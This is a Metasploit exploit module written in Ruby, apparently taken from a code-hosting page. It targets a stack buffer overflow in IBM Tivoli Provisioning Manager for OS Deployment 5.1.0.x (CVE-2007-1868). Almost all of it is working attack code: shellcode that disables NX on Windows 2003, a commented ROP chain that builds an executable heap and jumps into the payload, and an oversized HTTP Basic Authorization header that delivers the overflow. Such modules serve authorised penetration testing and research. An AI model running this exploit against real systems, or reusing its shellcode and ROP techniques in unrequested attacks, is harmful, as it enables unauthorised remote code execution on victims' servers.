223 lines
7.0 KiB
Ruby
223 lines
7.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'IBM TPM for OS Deployment 5.1.0.x rembo.exe Buffer Overflow',
|
|
'Description' => %q{
|
|
This is a stack buffer overflow exploit for IBM Tivoli Provisioning Manager
|
|
for OS Deployment version 5.1.0.X.
|
|
},
|
|
'Author' => 'toto',
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2007-1868'],
|
|
[ 'OSVDB', '34678'],
|
|
[ 'BID', '23264'],
|
|
[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-05' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
#'Space' => 0x200,
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
|
|
'Prepend' =>
|
|
# Disable NX on 2k3 to upload data on the stack
|
|
# (service crashes if the stack is switched to the heap)
|
|
"\x64\x8b\x0d\x30\x00\x00\x00" + # mov ecx, dword ptr fs:[0x30] ; PEB
|
|
"\x83\xb9\xa4\x00\x00\x00\x05" + # cmp dword ptr [ecx+0xa4], 5 ; MajorVersion == 5
|
|
"\x75\x30" + # jnz after
|
|
"\x83\xb9\xa8\x00\x00\x00\x02" + # cmp dword ptr [ecx+0xa8], 2 ; MinorVersion == 2
|
|
"\x75\x27" + # jnz after
|
|
"\x81\xb9\xac\x00\x00\x00\xce\x0e\x00\x00" + # cmp dword ptr [ecx+0xac], 0xece ; BuildVersion (> SP0)
|
|
"\x76\x1b" + # jbe after
|
|
"\x8d\x89\xa8\x00\x00\x00" + # lea ecx, [ecx+0xa8]
|
|
"\xba\x00\x03\xfe\x7f" + # mov edx, 0x7ffe0300
|
|
"\xb8\xed\x00\x00\x00" + # mov eax, 0xed
|
|
"\x6a\x04" + # push 4
|
|
"\x51" + # push ecx
|
|
"\x6a\x22" + # push 22
|
|
"\x6a\xff" + # push -1
|
|
"\x6a\xff" + # push -1 (padding)
|
|
"\xff\x12", # call dword ptr[edx]
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
['TPMfOSD 5.1 (Windows 2000 SP4 - English)', { 'Rets' => [0x77bb53af, 0x77bb06f0, 0x75022ac5] }],
|
|
# tested against 5.1.0.1 and 5.1.0.2 (use ATL.Dll)
|
|
['TPMfOSD 5.1 (Windows 2003 All - English)', { 'IB' => 0x76a80000, 'Data' => 0x01061980 }],
|
|
],
|
|
'DisclosureDate' => 'May 02 2007',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(443),
|
|
OptBool.new('SSL', [true, 'Use SSL', true]),
|
|
])
|
|
end
|
|
|
|
def exploit
|
|
|
|
if target.name =~ /2003/
|
|
# the exploit allocates and executable heap to copy and execute the payload
|
|
|
|
auth = Rex::Text.rand_text_alphanumeric(2800)
|
|
|
|
ib = target['IB']
|
|
|
|
auth[ 2080, 4 ] = [ ib + 0x11010 ].pack('V') # store a data to prevent a crash
|
|
|
|
# ret 1:
|
|
# 76a81a5f:
|
|
# pop esi <- 0x76a91010
|
|
# pop ebx <- 0x76a91010
|
|
# pop ebp <- 0x76a91010
|
|
# retn
|
|
|
|
auth[ 2096, 4 ] = [ ib + 0x1a5f ].pack('V')
|
|
auth[ 2100, 4 ] = [ target['Data'] ].pack('V')
|
|
auth[ 2104, 4 ] = [ ib + 0x11010 ].pack('V')
|
|
auth[ 2108, 4 ] = [ ib + 0x11010 ].pack('V')
|
|
|
|
# ret 2:
|
|
# 76a817f0:
|
|
# pop esi <- 0x76a81512 (ocscpy pointer)
|
|
# retn
|
|
|
|
auth[ 2112, 4 ] = [ ib + 0x17f0 ].pack('V')
|
|
auth[ 2116, 4 ] = [ ib + 0x1512 ].pack('V')
|
|
|
|
# ret 3: (copy the payload in atl.dll data)
|
|
# 76a811c8
|
|
# lea eax, [esp+3c] <-- eax points to the payload
|
|
# push eax <- payload
|
|
# push ebp <- 0x76a91010
|
|
# call esi <- ocscpy
|
|
# cmp eax, ebx <- eax == ebx = 0x76a91010
|
|
# jnz before <- jump not taken
|
|
# mov eax, ebp
|
|
# pop edi
|
|
# pop esi
|
|
# pop ebp
|
|
# pop ebx
|
|
# add esp, 1ch
|
|
# retn
|
|
|
|
auth[ 2120, 4 ] = [ ib + 0x11c8 ].pack('V')
|
|
|
|
|
|
# ret 4: (increase the stack pointer to allow a jump back in the payload)
|
|
# add esp, 1ch
|
|
# retn
|
|
|
|
auth[ 2160, 4 ] = [ ib + 0x11da ].pack('V')
|
|
auth[ 2184, 2 ] = "\xeb\x56" # jmp payload
|
|
|
|
|
|
# ret 5: (create an executable heap - huge one)
|
|
# 76a8c0c4
|
|
# jmp ds:__imp_HeapCreate (0xffffffff, 0x01010101, 0x01010101)
|
|
|
|
auth[ 2196, 4 ] = [ ib + 0xc0c4 ].pack('V')
|
|
|
|
# ret 6:
|
|
# 76a817f0
|
|
# pop esi <- 0x76a92a38 (hHeap)
|
|
# retn
|
|
|
|
auth[ 2204, 4 ] = [ ib + 0x17f0 ].pack('V')
|
|
auth[ 2208, 4 ] = [ 0xffffffff ].pack('V')
|
|
auth[ 2212, 4 ] = [ 0x01010101 ].pack('V')
|
|
auth[ 2216, 4 ] = [ 0x01010101 ].pack('V')
|
|
auth[ 2220, 4 ] = [ ib + 0x12a38 ].pack('V')
|
|
|
|
# ret 7:
|
|
# 76a8190a
|
|
# mov [esi], eax <- store new heap in hHeap
|
|
# mov eax, esi
|
|
# pop esi
|
|
# retn 4
|
|
|
|
auth[ 2224, 4 ] = [ ib + 0x190a ].pack('V')
|
|
|
|
# ret 8 (_calloc - needed to allocate a small buffer to prevent a no mem exception):
|
|
# 76a88a29
|
|
# mov eax, [esp+arg_0] <- 0x7fffffa0
|
|
# imul eax, [esp+arg_4] <- eax * 0x7fffffa0 = 0x2400
|
|
# push eax
|
|
# call _malloc
|
|
# pop ecx <- ecx = 0x2400
|
|
# retn
|
|
|
|
auth[ 2232, 4 ] = [ ib + 0x8a29 ].pack('V')
|
|
|
|
# ret 9:
|
|
# 76a8c9ab
|
|
# add esp, 0ch
|
|
# retn 4
|
|
|
|
auth[ 2240, 4 ] = [ ib + 0xc9ab ].pack('V')
|
|
auth[ 2244, 4 ] = [ 0x7fffffa0 ].pack('V')
|
|
auth[ 2248, 4 ] = [ 0x7fffffa0 ].pack('V')
|
|
|
|
# ret 10 (copy payload into heap):
|
|
# 76a8c9a0
|
|
# push ecx <- 0x2400
|
|
# push [esp+8] <- 0x76a91010 (payload in atl.dll data)
|
|
# push eax <- heap pointer
|
|
# call _memcpy
|
|
# add esp, 0ch
|
|
# retn
|
|
|
|
auth[ 2256, 4 ] = [ ib + 0xc9a0 ].pack('V')
|
|
|
|
# ret 11 (jump into heap)
|
|
# 76a815e7
|
|
# call eax
|
|
|
|
auth[ 2264, 4 ] = [ ib + 0x15e7 ].pack('V')
|
|
auth[ 2268, 4 ] = [ ib + 0x11010 ].pack('V')
|
|
|
|
auth[ 2272, payload.encoded.length ] = payload.encoded
|
|
|
|
else
|
|
auth = Rex::Text.rand_text_alphanumeric(2800)
|
|
|
|
auth[ 2080, 4 ] = [ target['Rets'][1] ].pack('V')
|
|
auth[ 2096, 4 ] = [ target['Rets'][2] ].pack('V') # pop, ret
|
|
auth[ 2100, 4 ] = [ target['Rets'][1] ].pack('V')
|
|
auth[ 2104, 4 ] = [ target['Rets'][0] ].pack('V') # jmp esp
|
|
auth[ 2108, payload.encoded.length ] = payload.encoded
|
|
|
|
end
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
res = send_request_cgi({
|
|
'uri' => '/',
|
|
'method' => 'GET',
|
|
'headers' =>
|
|
{
|
|
'Authorization' => "Basic #{auth}"
|
|
}
|
|
}, 5)
|
|
|
|
handler
|
|
end
|
|
end
|